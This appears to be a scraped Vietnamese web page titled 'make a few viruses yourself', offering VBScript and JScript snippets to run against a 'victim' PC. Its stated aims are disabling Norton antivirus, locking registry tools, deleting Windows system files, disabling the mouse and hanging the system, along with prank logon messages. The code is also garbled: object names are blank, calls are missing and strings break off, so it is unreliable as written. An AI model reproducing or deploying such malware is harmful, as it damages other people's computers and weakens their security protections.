tailieunhanh - Tự tạo vài con virus

Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng VBSCRIPT hoặc Javascript rồi: Dưới đây là code của một số con virus nhỏ dưới dạng VBS: cho victim khởi động máy: Dim wsh Set wsh = createobject("") " " | Tự tạo vài con virus chơi : trang này đã được đọc lần Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng VBSCRIPT hoặc Javascript rồi: Dưới đây là code của một số con virus nhỏ dưới dạng VBS: cho victim khởi động máy: Dim wsh Set wsh = createobject("") " " 2. Disable NAV: Dim wsh Set wsh= CreateObject( "") s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Norton Program Scheduler\Start" s1,3, "REG_DWORD" 3. Hiển thị một message mỗi khi reboot máy: dim wsh Set wsh = CreateObject( "" ) s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\WinLogon\" s2 = "LegalNoticeCaption" s3 = "LegalNoticeText" s1+s2, "" s1+s3, "Hi ! Toi la TrungWK- Toi den tu Chip&" 4. Hiển thị một dòng lệnh khi click vào file hay folder: set reg=createobject("") "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu Chip&" "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu Chip&\","Robinhood" 5. Làm cho các trò trên hoạt động bình thường: Dim objShell Set objShell = CreateObject( "" ) s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\" s2 = "Policies\System\DisableRegistryTools" s1+s2,1, "REG_DWORD" Dưới dạng Javascipt : var wsh; wsh=new ActiveXObject (""); // Winlogon when reboot var s1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\WinLogon\\"; var s2 = "LegalNoticeCaption"; var s3 = "LegalNoticeText"; (s1+ s2, "") ; (s1+s3, "Hi ! Toi la Anti_Love. Toi den tu Chip&") ; //Disable Registry var s1 = "HKEY_USERS\\.Default\\Software\\Microsoft\\Windows\\CurrentVersion\\"; var s2 = "Policies\\System\\DisableRegistryTools" ; (s1+s2,0,"REG_DWORD"); //Delete file làm cho victim khởi động tới Registry luôn var fso; fso=new ActiveXObject(""); var fe=("C:\\windows\\); true; //Disable Mouse (" mouse,disable"); //Hang up windows ("rundll32 user,disableoemlayer");